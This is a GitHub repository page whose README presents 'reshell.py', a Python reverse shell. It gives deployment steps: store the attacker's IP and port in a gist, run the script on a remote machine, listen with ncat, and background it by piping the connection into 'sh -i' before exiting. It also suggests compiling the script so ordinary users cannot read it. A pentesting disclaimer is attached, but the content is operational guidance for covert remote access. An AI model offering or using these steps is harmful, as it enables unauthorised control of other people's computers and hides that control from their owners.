Skip to content

sectasy0/reshell.py

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 

Repository files navigation

reshell.py

Python version

A python reverse shell

Configuration

  • Create a github gist with the ip address and the port the script will connect to.
  • open reshell.py go to line 44 and replace url to your gist.
  • run this script on remote machine.

Connection to shell

$ ncat -l 3000

 ██▀███  ▓█████   ██████  ██░ ██ ▓█████  ██▓     ██▓
▓██ ▒ ██▒▓█   ▀ ▒██    ▒ ▓██░ ██▒▓█   ▀ ▓██▒    ▓██▒
▓██ ░▄█ ▒▒███   ░ ▓██▄   ▒██▀▀██░▒███   ▒██░    ▒██░
▒██▀▀█▄  ▒▓█  ▄   ▒   ██▒░▓█ ░██ ▒▓█  ▄ ▒██░    ▒██░
░██▓ ▒██▒░▒████▒▒██████▒▒░▓█▒░██▓░▒████▒░██████▒░██████▒
░ ▒▓ ░▒▓░░░ ▒░ ░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░░ ▒░▓  ░░ ▒░▓  ░
░▒ ░ ▒░ ░ ░  ░░ ░▒  ░ ░ ▒ ░▒░ ░ ░ ░  ░░ ░ ▒  ░░ ░ ▒  ░
░░   ░    ░   ░  ░  ░   ░  ░░ ░   ░     ░ ░     ░ ░
░        ░  ░      ░   ░  ░  ░   ░  ░    ░  ░    ░  ░

sectasy@fs:~$

Running as a background process

sh -c "./reshell.py | sh -i &" && exit

Other information

  1. You can also compile this script to make it unreadable for regular user or smth.
  2. Don't be a dick. This is meant to be used for pentesting or helping coworkers understand why they should always lock their computers. Please don't use this for anything malicious.

About

A python reverse shell

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages